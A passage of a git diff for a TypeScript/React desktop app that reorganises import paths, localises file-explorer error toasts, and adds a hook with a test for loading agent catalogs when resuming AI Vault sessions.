   findAiVaultSessionLiveStateInIndex,
   findOriginalAiVaultSessionPaneInIndex
 } from './ai-vault-original-pane-index'
+import type { AgentDotState } from '@/components/AgentStateDot'
+import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 
 export function useAiVaultOriginalPaneActions(): {
   getOriginalPaneTarget: (
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-launch-actions.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-launch-actions.ts
index b7312cb9b42..981b729582a 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-launch-actions.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-launch-actions.ts
@@ -8,39 +8,39 @@ import {
   buildAiVaultResumeCopyCommandForWorktree,
   buildAiVaultResumeStartupForWorktree
 } from '@/lib/agent-session/resume/history/ai-vault-resume-command'
-import type {
-  AiVaultResumeCommandSession,
-  AiVaultResumeStartup
-} from '../../../../../../shared/ai-vault/resume/ai-vault-resume-startup'
 import {
   assertAiVaultCopiedSessionLaunchAllowed,
   buildAiVaultCopiedSessionStartupForWorktree,
   buildAiVaultForkStartupForWorktree
 } from '@/lib/agent-session/resume/history/ai-vault-session-fork-startup'
-import { launchAiVaultSessionAndReveal } from '@/lib/launch-ai-vault-session-and-reveal'
+import { launchAiVaultSessionAndReveal } from '@/lib/agent-session/resume/history/launch-ai-vault-session-and-reveal'
 import { useAppStore } from '@/store/index'
-import type {
-  AiVaultAgent,
-  AiVaultSession
-} from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 import {
   dropDeletedRemoteResumeCwd,
   prepareAiVaultSessionForFork,
   prepareAiVaultSessionForResume,
   prepareAiVaultSessionForTerminalResume
 } from '@/lib/agent-session/resume/history/ai-vault-session-resume-preparation'
-import type { Worktree } from '../../../../../../shared/worktree/types'
 import { translate } from '@/i18n/i18n'
 import { describeAiVaultCliForkFailure } from './ai-vault-session-cli-fork'
-import type { AiVaultSessionResumeTargetState } from './ai-vault-session-resume'
 import { prepareAiVaultSessionContinuation } from './ai-vault-session-continuation'
-import type { AgentSessionContinuationRequest } from '@/lib/agent-session/context/agent-session-continuation'
-import { activateAiVaultStructuredSession } from '@/lib/activate-ai-vault-structured-session'
+import { activateAiVaultStructuredSession } from '@/lib/agent-session/open/activate-ai-vault-structured-session'
 import { adoptsCliConversations } from '../../../../../../shared/structured-agent-cli-conversation-adoption'
 import { newAgentLaunchRequestId } from '@/lib/agent-session/launch/routing/agent-launch-request-id'
 import { describeAiVaultResumeFailure } from '@/lib/agent-session/resume/history/ai-vault-resume-refusal'
 import { resumeAiVaultSessionInNewChat } from './ai-vault-session-resume-in-chat-launch'
 import { resolveAiVaultTargetWorkspacePath } from './ai-vault-session-launch-target'
+import type {
+  AiVaultResumeCommandSession,
+  AiVaultResumeStartup
+} from '../../../../../../shared/ai-vault/resume/ai-vault-resume-startup'
+import type {
+  AiVaultAgent,
+  AiVaultSession
+} from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import type { AiVaultSessionResumeTargetState } from './ai-vault-session-resume'
+import type { AgentSessionContinuationRequest } from '@/lib/agent-session/context/agent-session-continuation'
 
 export function useAiVaultSessionLaunchActions({
   activeWorktree,
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-here.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-here.ts
index bea7b4a11ae..b5ccefbe2f3 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-here.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-here.ts
@@ -3,29 +3,27 @@ import { useAppStore } from '@/store/index'
 import {
   activateAiVaultStructuredSession,
   openDesktopStructuredSession
-} from '@/lib/activate-ai-vault-structured-session'
-import { insertUnifiedTabAfterAnchor } from '@/lib/unified-tab-anchor-insertion'
+} from '@/lib/agent-session/open/activate-ai-vault-structured-session'
+import { insertUnifiedTabAfterAnchor } from '@/lib/workspace/tabs/unified-tab-anchor-insertion'
 import { newAgentLaunchRequestId } from '@/lib/agent-session/launch/routing/agent-launch-request-id'
 import {
   captureNativeChatComposerFocusIntent,
   requestNativeChatComposerFocus
 } from '@/components/native-chat/composer/focus/native-chat-composer-focus-intent'
-import type { ConfirmationDialogContextValue } from '@/components/confirmation-dialog-context'
 import { translate } from '@/i18n/i18n'
 import { agentLabel } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-filters'
-import {
-  aiVaultHistoryAgents,
-  type AiVaultAgent,
-  type AiVaultSession
+import { aiVaultHistoryAgents } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
+import type {
+  AiVaultAgent,
+  AiVaultSession
 } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
-import {
-  adoptsCliConversations,
-  type CliConversationRowAgent
-} from '../../../../../../shared/structured-agent-cli-conversation-adoption'
-import type { Tab } from '../../../../../../shared/tab-types'
+import { adoptsCliConversations } from '../../../../../../shared/structured-agent-cli-conversation-adoption'
+import type { CliConversationRowAgent } from '../../../../../../shared/structured-agent-cli-conversation-adoption'
 import { structuredLaunchConversationOwner } from '@/lib/agent-session/launch/structured-agent-session-launch-failure'
-import type { AiVaultSessionRowChatActions } from './ai-vault-session-chat-action'
 import { resumeAiVaultSessionInNewChat } from './ai-vault-session-resume-in-chat-launch'
+import type { ConfirmationDialogContextValue } from '@/components/confirmation-dialog-context'
+import type { Tab } from '../../../../../../shared/tab-types'
+import type { AiVaultSessionRowChatActions } from './ai-vault-session-chat-action'
 
 /** The chat `/resume` was typed in; a picked row's conversation takes its place. */
 export type AiVaultResumeHere = {
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts
index 7da5d121413..6f5ebe0a743 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch.ts
@@ -1,20 +1,14 @@
 import { toast } from 'sonner'
-import {
-  parseRoutableExecutionHostId,
-  type ExecutionHostId
-} from '../../../../../../shared/execution-host'
+import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { translate } from '@/i18n/i18n'
 import { useAppStore } from '@/store/index'
-import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 import { agentLabel } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-filters'
-import {
-  CLI_CONVERSATION_ADOPTING_AGENTS,
-  type CliConversationRowAgent
-} from '../../../../../../shared/structured-agent-cli-conversation-adoption'
+import { CLI_CONVERSATION_ADOPTING_AGENTS } from '../../../../../../shared/structured-agent-cli-conversation-adoption'
+import type { CliConversationRowAgent } from '../../../../../../shared/structured-agent-cli-conversation-adoption'
 import { hasRuntimeRpcErrorCode } from '../../../../../../shared/runtime-rpc-error-code'
 import { prepareAiVaultSessionForResume } from '@/lib/agent-session/resume/history/ai-vault-session-resume-preparation'
 import { adoptAgentSessionLaunchVerdict } from '@/lib/agent-session/launch/routing/agent-session-launch-plan'
-import type { AgentLaunchRequestId } from '@/lib/agent-session/launch/routing/agent-launch-request-id'
 import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation'
 import {
   beginStructuredAgentSessionProvisionalLaunch,
@@ -22,10 +16,12 @@ import {
 } from '@/lib/agent-session/structured-agent-session-provisional-tab'
 import { admitStructuredLaunchOnHost } from '@/lib/agent-session/launch/structured-agent-session-host-admission'
 import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
-import { cliConversationExitGuidance } from '@/lib/cli-conversation-exit-guidance'
+import { cliConversationExitGuidance } from '@/lib/agent-session/resume/history/cli-conversation-exit-guidance'
 import { structuredLaunchFailure } from '@/lib/agent-session/launch/structured-agent-session-launch-failure'
 import { workspaceHasSleepingAgentSessions } from '@/lib/workspace/activation/worktree-agent-activation-gate'
 import { resolveWebSessionVisibleTabId } from '@/runtime/web-session-tabs-sync/navigation/web-session-focus-intent'
+import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
+import type { AgentLaunchRequestId } from '@/lib/agent-session/launch/routing/agent-launch-request-id'
 import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
 import type { StructuredAgentLaunchSettlement } from '@/lib/agent-session/launch/continuation/structured-agent-launch-settlement'
 import type { NativeChatComposerFocusIntent } from '@/components/native-chat/composer/focus/native-chat-composer-focus-intent'
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.test.tsx b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.test.tsx
new file mode 100644
index 00000000000..6eee266dc24
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.test.tsx
@@ -0,0 +1,148 @@
+// @vitest-environment happy-dom
+import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, expect, it, vi } from 'vitest'
+import { useAppStore } from '@/store'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+import { setLocalRuntimeCapabilitiesForTests } from '@/runtime/hosts/capabilities/local-runtime-capabilities'
+import { resetHostStructuredAgentsForTests } from '@/runtime/native-chat/agent-catalogs/host-structured-agents'
+import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../../../shared/agent-session/agent-session-runtime-capabilities'
+import {
+  STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY,
+  STRUCTURED_AGENT_SESSION_RESUME_HISTORY_RUNTIME_CAPABILITY
+} from '../../../../../../shared/agent-session/structured-agent-session-surface-capabilities'
+import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
+import { makeRepo, makeWorktree } from '../../../worktree-jump/worktree-jump-palette-test-fixtures'
+import { createGlobalSettingsFixture } from '../../../../../../shared/global-settings-test-fixture'
+import { AiVaultSessionSurfaceSwitchMenuItems } from '../session-list/AiVaultSessionSurfaceSwitchMenuItems'
+import { useAiVaultPanelSessionResume } from './use-ai-vault-panel-session-resume'
+import { useAiVaultResumeCatalogs } from './use-ai-vault-resume-catalogs'
+
+const rpc = vi.hoisted(() => vi.fn())
+vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({ callRuntimeRpc: rpc }))
+
+const initial = useAppStore.getInitialState()
+const localWorkspace = makeWorktree('local-workspace', 'Local', { path: '/repo/local' })
+const pairedWorkspace = makeWorktree('paired-workspace', 'Old server', {
+  repoId: 'paired-repo',
+  path: '/srv/remote',
+  hostId: 'runtime:old-server'
+})
+const session: AiVaultSession = {
+  id: 'local:opencode:session-1',
+  executionHostId: 'local',
+  agent: 'opencode',
+  sessionId: 'session-1',
+  title: 'Task',
+  cwd: '/repo/local',
+  branch: null,
+  model: null,
+  filePath: '/home/test/.local/share/opencode/session/session-1.json',
+  codexHome: null,
+  createdAt: null,
+  updatedAt: null,
+  modifiedAt: '2026-11-09T12:00:00Z',
+  messageCount: 2,
+  totalTokens: 0,
+  previewMessages: [{ role: 'user', text: 'Continue this task', timestamp: null }],
+  queuedMessageCount: 0,
+  subagentTranscriptCount: 0,
+  resumeCommand: 'opencode --session session-1',
+  subagent: null
+}
+const sessions = [session]
+const worktrees = [localWorkspace, pairedWorkspace]
+
+function HistoryActions({
+  acquire,
+  onResume
+}: {
+  acquire: boolean
+  onResume: (id: string) => void
+}) {
+  const state = useAppStore.getState()
+  const resume = useAiVaultPanelSessionResume({
+    sessions,
+    repos: state.repos,
+    allWorktrees: worktrees,
+    workspaceId: 'paired-workspace',
+    resumeTargetState: state
+  })
+  const target = resume.getSessionResumeInChat(session)
+  return (
+    <>
+      {acquire ? <HistoryCatalog /> : null}
+      <DropdownMenu open>
+        <DropdownMenuTrigger>Session actions</DropdownMenuTrigger>
+        <DropdownMenuContent>
+          <AiVaultSessionSurfaceSwitchMenuItems
+            action="resume"
+            menuKind="dropdown"
+            tooltipSide="left"
+            onResumeInNewChat={target.available ? () => onResume(target.workspaceId) : undefined}
+          />
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </>
+  )
+}
+
+function HistoryCatalog() {
+  useAiVaultResumeCatalogs('local')
+  return null
+}
+
+beforeEach(() => {
+  resetHostStructuredAgentsForTests()
+  setLocalRuntimeCapabilitiesForTests([
+    STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY,
+    STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY,
+    STRUCTURED_AGENT_SESSION_RESUME_HISTORY_RUNTIME_CAPABILITY
+  ])
+  useAppStore.setState({
+    ...initial,
+    settings: createGlobalSettingsFixture({
+      agentDefaultSurface: 'terminal',
+      nativeChatProviders: {}
+    }),
+    repos: [
+      { ...makeRepo(), path: '/repo', displayName: 'Local' },
+      { ...makeRepo(), id: 'paired-repo', path: '/srv', executionHostId: 'runtime:old-server' }
+    ],
+    worktreesByRepo: { 'repo-1': [localWorkspace], 'paired-repo': [pairedWorkspace] },
+    activeWorktreeId: 'paired-workspace',
+    activeWorkspaceExecutionHostId: 'runtime:old-server'
+  })
+})
+
+afterEach(() => {
+  cleanup()
+  useAppStore.setState(initial, true)
+  resetHostStructuredAgentsForTests()
+  setLocalRuntimeCapabilitiesForTests(null)
+  vi.clearAllMocks()
+})
+
+it('offers cold local History resume in its own workspace while an old paired workspace is active', async () => {
+  let answer!: (value: unknown) => void
+  rpc.mockImplementation(
+    () =>
+      new Promise((resolve) => {
+        answer = resolve
+      })
+  )
+  const onResume = vi.fn()
+  const view = render(<HistoryActions acquire={false} onResume={onResume} />)
+  expect(screen.queryByRole('menuitem', { name: 'Resume in New Chat' })).toBeNull()
+
+  view.rerender(<HistoryActions acquire onResume={onResume} />)
+  await act(async () => {
+    await Promise.resolve()
+    answer({ agents: [{ agent: 'opencode', capabilities: {} }] })
+  })
+  fireEvent.click(await screen.findByRole('menuitem', { name: 'Resume in New Chat' }))
+  expect(onResume).toHaveBeenCalledWith('local-workspace')
+})
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.ts
new file mode 100644
index 00000000000..1477979d07b
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/use-ai-vault-resume-catalogs.ts
@@ -0,0 +1,89 @@
+import { useEffect } from 'react'
+import { useAppStore } from '@/store/index'
+import type { AppState } from '@/store/types'
+import {
+  ALL_EXECUTION_HOSTS_SCOPE,
+  LOCAL_EXECUTION_HOST_ID,
+  parseRoutableExecutionHostId,
+  toRuntimeExecutionHostId,
+  type ExecutionHostScope
+} from '../../../../../../shared/execution-host'
+import { lastVerifiedRuntimeStatus } from '../../../../../../shared/remote-runtime/host-status/runtime-host-status'
+import { loadHostStructuredAgents } from '@/runtime/native-chat/agent-catalogs/host-structured-agents'
+import {
+  ensureLocalRuntimeCapabilities,
+  subscribeLocalRuntimeCapabilitiesKnown
+} from '@/runtime/hosts/capabilities/local-runtime-capabilities'
+
+/** Resume eligibility needs the recording host's catalog even when new agents default to terminals. */
+export function useAiVaultResumeCatalogs(scope: ExecutionHostScope): void {
+  // oxlint-disable-next-line react-doctor/effect-needs-cleanup -- Cleanup disposes both conditional subscriptions and blocks pending capability delivery.
+  useEffect(() => {
+    let disposed = false
+    const host = parseRoutableExecutionHostId(scope)
+    const all = scope === ALL_EXECUTION_HOSTS_SCOPE
+    const local = all || host?.kind === 'local'
+    const loadLocal = (capabilities: readonly string[] | null): void => {
+      if (!disposed) {
+        void loadHostStructuredAgents(LOCAL_EXECUTION_HOST_ID, capabilities, null)
+      }
+    }
+    const stopLocal = local ? subscribeLocalRuntimeCapabilitiesKnown(loadLocal) : undefined
+    if (local) {
+      void ensureLocalRuntimeCapabilities().then(loadLocal)
+    }
+    const loadRuntime = (environmentId: string): void => {
+      const status = lastVerifiedRuntimeStatus(
+        useAppStore.getState().runtimeStatusByEnvironmentId.get(environmentId)
+      )
+      if (!disposed && status) {
+        void loadHostStructuredAgents(
+          toRuntimeExecutionHostId(environmentId),
+          status.capabilities,
+          status.runtimeId
+        )
+      }
+    }
+    const loadRuntimes = (previous?: AppState): void => {
+      if (all) {
+        const state = useAppStore.getState()
+        const previousIds =
+          previous && state.runtimeEnvironments !== previous.runtimeEnvironments
+            ? new Set(previous.runtimeEnvironments.map((environment) => environment.id))
+            : undefined
+        for (const environment of state.runtimeEnvironments) {
+          if (
+            !previous ||
+            (previousIds && !previousIds.has(environment.id)) ||
+            state.runtimeStatusByEnvironmentId.get(environment.id) !==
+              previous.runtimeStatusByEnvironmentId.get(environment.id)
+          ) {
+            loadRuntime(environment.id)
+          }
+        }
+      } else if (host?.kind === 'runtime') {
+        loadRuntime(host.environmentId)
+      }
+    }
+    const stopStore =
+      all || host?.kind === 'runtime'
+        ? useAppStore.subscribe((state, previous) => {
+            const changed = all
+              ? state.runtimeEnvironments !== previous.runtimeEnvironments ||
+                state.runtimeStatusByEnvironmentId !== previous.runtimeStatusByEnvironmentId
+              : host?.kind === 'runtime' &&
+                state.runtimeStatusByEnvironmentId.get(host.environmentId) !==
+                  previous.runtimeStatusByEnvironmentId.get(host.environmentId)
+            if (changed) {
+              loadRuntimes(previous)
+            }
+          })
+        : undefined
+    loadRuntimes()
+    return () => {
+      disposed = true
+      stopLocal?.()
+      stopStore?.()
+    }
+  }, [scope])
+}
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-list/use-ai-vault-session-display-title.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-list/use-ai-vault-session-display-title.ts
index 65754fe969d..56d812271dc 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/session-list/use-ai-vault-session-display-title.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/session-list/use-ai-vault-session-display-title.ts
@@ -1,8 +1,8 @@
-import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 import { structuredChatDisplayName } from '../../../../../../shared/structured-chat-row-name'
 import { useAppStore } from '@/store/index'
-import { structuredChatTabBySessionId } from '@/lib/structured-chat-tab-index'
+import { structuredChatTabBySessionId } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import { useStructuredConversationName } from '@/runtime/native-chat/naming/structured-conversation-name'
+import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 
 /** Native rows use live saved names, falling back to authoritative host titles across closed tabs and restarts. */
 export function useAiVaultSessionDisplayTitle(session: AiVaultSession): string {
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx
index 2caea4d0210..3591d5b9e76 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-git-status-effects.tsx
@@ -2,7 +2,7 @@ import { getRepoExecutionHostId } from '../../../../../../shared/execution-host'
 import { useEffect, useRef } from 'react'
 import { getRuntimeGitStatus } from '@/runtime/source-control/git/runtime-git-status-client'
 import { getRuntimeGitUpstreamStatus } from '@/runtime/source-control/git/runtime-git-sync-client'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import {
   buildChecksPanelEligibilityGitFingerprint,
   shouldClearChecksPanelGitStatusSnapshot,
@@ -11,7 +11,7 @@ import {
 import {
   createCoalescedPollRunner,
   type CoalescedPollRunner
-} from '../../../../lib/repository-refresh/coalesced-poll-runner'
+} from '../../../../lib/source-control/refresh/coalesced-poll-runner'
 import type { ChecksPanelControllerState } from '../use-checks-panel-controller-state'
 import type { ChecksPanelReviewState } from '../use-checks-panel-review-state'
 import type { ChecksPanelContextState } from '../use-checks-panel-context-state'
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx
index cf8091e793a..34e3a3cef18 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/refresh/use-checks-panel-manual-refresh.tsx
@@ -4,7 +4,7 @@ import { useAppStore } from '@/store/index'
 import { buildGitHubPRRefreshStateClearToken } from '@/store/github/refresh/pr-refresh-state'
 import { getRuntimeGitStatus } from '@/runtime/source-control/git/runtime-git-status-client'
 import { getRuntimeGitUpstreamStatus } from '@/runtime/source-control/git/runtime-git-sync-client'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import {
   hasChecksPanelGitStatusBranchChanged,
   readChecksPanelRefreshGitIdentitySnapshot,
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx b/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx
index c8ddf92cf2f..1798c1cf88f 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/review-actions/use-checks-panel-generation.tsx
@@ -5,7 +5,7 @@ import type { PullRequestGenerationOutcome } from '../../hosted-review/creation/
 import { settlePullRequestGenerationRequest } from '../../hosted-review/creation/pull-request-generation-request-outcome'
 import { useAppStore } from '@/store/index'
 import { getConnectionId } from '@/lib/workspace/ownership/connection-context'
-import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy'
+import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy'
 import {
   generateRuntimePullRequestFields,
   cancelRuntimeGeneratePullRequestFields
diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-controller-state.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-controller-state.tsx
index 61fa4ba4d1b..eb2ced512ce 100644
--- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-controller-state.tsx
+++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-controller-state.tsx
@@ -1,7 +1,7 @@
 import { useCallback, useMemo, useRef, useState, type SetStateAction } from 'react'
 import { useWorktreeGitOwnerTarget } from '../source-control/sync/worktree-git-owner-target'
-import { useWorktreeGitCopyHostId } from '@/lib/worktree-git-copy'
-import { useAppStore } from '@/store'
+import { useWorktreeGitCopyHostId } from '@/lib/workspace/ownership/worktree-git-copy'
+import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
 import { useActiveWorktree } from '@/store/workspaces/selection/use-selected-worktree'
 import { selectReviewRepositoryForWorkspace } from '@/store/slices/hosted-review/workspace-review-repository'
diff --git a/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileDuplicate.ts b/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileDuplicate.ts
index 660a9100fe5..f3653d86fe0 100644
--- a/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileDuplicate.ts
+++ b/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileDuplicate.ts
@@ -5,6 +5,7 @@ import type { TreeNode } from '../tree/file-explorer-types'
 import { copyRuntimePath } from '@/runtime/files/mutations/runtime-file-mutation-client'
 import { runtimePathExists } from '@/runtime/files/metadata/runtime-file-metadata-client'
 import { captureFileExplorerOperationGuard } from '../navigation/file-explorer-operation-owner'
+import { translate } from '@/i18n/i18n'
 
 /** Strip Electron invoke error wrappers before showing the underlying message. */
 function extractIpcErrorMessage(err: unknown, fallback: string): string {
@@ -42,7 +43,16 @@ export function useFileDuplicate({
         try {
           operationGuard = captureFileExplorerOperationGuard(activeWorktreeId, node.operationOwner)
         } catch (err) {
-          toast.error(extractIpcErrorMessage(err, `Failed to duplicate '${name}'.`))
+          toast.error(
+            extractIpcErrorMessage(
+              err,
+              translate(
+                'components.toastFallbacks.fileDuplicateFailed',
+                "Failed to duplicate '{{name}}'.",
+                { name }
+              )
+            )
+          )
           return
         }
         const context = {
@@ -80,7 +90,16 @@ export function useFileDuplicate({
               retries += 1
               continue
             }
-            toast.error(extractIpcErrorMessage(err, `Failed to duplicate '${name}'.`))
+            toast.error(
+              extractIpcErrorMessage(
+                err,
+                translate(
+                  'components.toastFallbacks.fileDuplicateFailed',
+                  "Failed to duplicate '{{name}}'.",
+                  { name }
+                )
+              )
+            )
             return
           }
         }
diff --git a/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerInlineInput.ts b/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerInlineInput.ts
index 31f3178c85c..823e93e0559 100644
--- a/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerInlineInput.ts
+++ b/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerInlineInput.ts
@@ -17,6 +17,7 @@ import {
   captureFileExplorerOperationGuard,
   getFileExplorerOperationOwner
 } from '../navigation/file-explorer-operation-owner'
+import { translate } from '@/i18n/i18n'
 import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target'
 
 type UseFileExplorerInlineInputParams = {
@@ -231,7 +232,16 @@ export function useFileExplorerInlineInput({
             }
           } catch (err) {
             await refreshDir(inlineInput.parentPath)
-            toast.error(extractIpcErrorMessage(err, `Failed to create '${name}'.`))
+            toast.error(
+              extractIpcErrorMessage(
+                err,
+                translate(
+                  'components.toastFallbacks.fileCreateFailed',
+                  "Failed to create '{{name}}'.",
+                  { name }
+                )
+              )
+            )
           }
         }
       }
diff --git a/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerMoveDrop.ts b/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerMoveDrop.ts
index d581935b2ef..007a8e486ef 100644
--- a/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerMoveDrop.ts
+++ b/src/renderer/src/components/right-sidebar/file-explorer/mutations/useFileExplorerMoveDrop.ts
@@ -5,6 +5,7 @@ import { executeOpenEditorPathMove } from '@/lib/editor/file-operations/execute-
 import { commitFileExplorerOp } from './fileExplorerUndoRedo'
 import type { FileExplorerOperationOwner } from '../tree/file-explorer-types'
 import { captureFileExplorerOperationGuard } from '../navigation/file-explorer-operation-owner'
+import { translate } from '@/i18n/i18n'
 
 function extractIpcErrorMessage(err: unknown, fallback: string): string {
   if (!(err instanceof Error)) {
@@ -99,7 +100,14 @@ export function useFileExplorerMoveDrop({
             }
           })
         } catch (err) {
-          toast.error(extractIpcErrorMessage(err, `Failed to move '${fileName}'.`))
+          toast.error(
+            extractIpcErrorMessage(
+              err,
+              translate('components.toastFallbacks.fileMoveFailed', "Failed to move '{{name}}'.", {
+                name: fileName
+              })
+            )
+          )
           return
         }
         await Promise.all([refreshDir(sourceDir), refreshDir(destDir)])
diff --git a/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts b/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts
index d3f4f7fd1d7..169736a8f02 100644
--- a/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts
+++ b/src/renderer/src/components/right-sidebar/folder-workspace-attached-worktrees.ts
@@ -4,7 +4,7 @@ import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folde
 import { getFolderWorkspaceHostIdentity } from '../../../../shared/folder-workspaces/folder-workspace-worktree'
 import type { WorkspaceLineage, WorktreeLineage } from '../../../../shared/worktree/lineage-types'
 import type { Worktree } from '../../../../shared/worktree/types'
-import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
+import { compareWorktreeDisplayName } from '@/lib/workspace/display/worktree-display-name-order'
 import { getWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity'
 import { getProjectedWorktreeLineage } from '../../../../shared/worktree/workspace-lineage-graph'
 import {
diff --git a/src/renderer/src/components/right-sidebar/folder-worktree-section-header.fixture.tsx b/src/renderer/src/components/right-sidebar/folder-worktree-section-header.fixture.tsx
index 9d82daa4d4a..d40e0025386 100644
--- a/src/renderer/src/components/right-sidebar/folder-worktree-section-header.fixture.tsx
+++ b/src/renderer/src/components/right-sidebar/folder-worktree-section-header.fixture.tsx
@@ -36,6 +36,7 @@ function Cards() {
           expanded
           onToggle={() => {}}
           onOpen={() => {}}
+          actionsSlotRef={() => {}}
         />
         <SectionBody files={['src/main/index.ts', 'src/renderer/App.tsx', 'README.md']} />
       </section>
@@ -48,6 +49,7 @@ function Cards() {
           expanded
           onToggle={() => {}}
           onOpen={() => {}}
+          actionsSlotRef={() => {}}
         />
         <SectionBody files={['package.json']} />
       </section>
@@ -59,6 +61,7 @@ function Cards() {
           expanded={false}
           onToggle={() => {}}
           onOpen={() => {}}
+          actionsSlotRef={() => {}}
         />
       </section>
     </div>
@@ -82,6 +85,7 @@ export const narrow = defineFixture({
           expanded={false}
           onToggle={() => {}}
           onOpen={() => {}}
+          actionsSlotRef={() => {}}
         />
       </section>
     </div>
